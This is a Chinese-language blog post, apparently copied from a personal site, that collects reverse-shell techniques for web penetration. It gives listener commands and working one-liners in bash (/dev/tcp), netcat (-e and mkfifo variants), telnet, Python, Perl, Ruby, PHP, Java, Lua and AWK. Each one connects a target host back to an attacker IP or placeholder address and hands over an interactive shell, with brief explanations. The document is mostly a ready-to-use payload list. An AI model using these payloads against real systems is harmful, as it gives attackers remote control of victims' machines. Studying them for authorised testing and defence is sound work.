web渗透之常见shell反弹姿势

常见反弹shell总结：

原文链接请点击：https://ruoli-s.github.io/posts/b956.html

一、bash反弹

通用

① 在kali机里面开启端口监听：

nc -lvvp port		//port 为攻击主机端口号，并且此端口号没有被占用

② 在目标主机上执行：

bash -i >& /dev/tcp/攻击主机ip/port 0>&1		//port 为攻击主机端口号

③ 解释

bash -i： 打开一个交互的bash

.>&： 标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port ： 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口

0>&1： 标准输入重定向到标准输出，实现你与反弹出来的shell的交互

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。

④ 补充

linux shell下常用的文件描述符是：

1. 标准输入 (stdin) ：代码为 0 ，使用 < 或 << ；
2. 标准输出 (stdout)：代码为 1 ，使用 > 或 >> ；
3. 标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。

其他版本

exec 5<>/dev/tcp/x.x.x.x/9999
cat <&5 | while read line; do $line 2>&5 >&5; done

• 第一条命令：建立与x.x.x.x:9999的tcp连接，并将标准输入输出作为device 5的标准输入输出
• 第二条命令：cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

二、nc(netcat)反弹

1. -e 参数可用

① 在kali机里面开启端口监听：

nc -lvvp port		//port 为攻击主机端口号，并且此端口号没有被占用
如：nc -lvvp 1234

② 在目标主机上执行：

nc -e /bin/bash 攻击主机ip port
如：nc -e /bin/bash 192.168.26.138 1234

③ 还可在目标主机上这样执行（不实用）：

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321
//在攻击主机上打开两个终端，分别监听 1234 和 4321 端口，得到反弹shell后，1234 终端 输入命令， 4321 终端就会获得执行相应命令后的结果

④ 使用python语句进入交互式界面：

python -c 'import pty;pty.spawn("/bin/bash")'

2. -e 参数不可用

在目标主机使用如下命令：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.26.138 1234 >/tmp/f

解释：

• rm /tmp/f 删除命令
• mkfifo /tmp/f; 在tmp目录下写fifo文件f
• /bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出
• nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo

三、telnet反弹

① 在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放，并且不被占用)，得到反弹shell后，1234 终端 输入命令， 4321 终端就会获得执行相应命令后的结果：

nc -lvvp 1234
nc -lvvp 4321

② 在目标主机上执行：

telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321

四、脚本反弹

​ 脚本是在目标主机上执行，其中 x.x.x.x 均为攻击主机ip，并且需要提前在攻击主机上进行监听相关端口.

0x01. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x02. perl

方法一：

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x03. Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x04. php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

0x05. Java

	public class Revs {
    /**
    * @param args
    * @throws Exception
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

0x06. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

0x07. AWK 反弹

注意：攻击的机器监听，在收到shell的时候不可以输入enter，不然会断开

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

以后遇到了会再补充进去。

参考文献：

https://blog.csdn.net/wanzt123/article/details/81879599

https://www.bertramc.cn/2017/07/14/38.html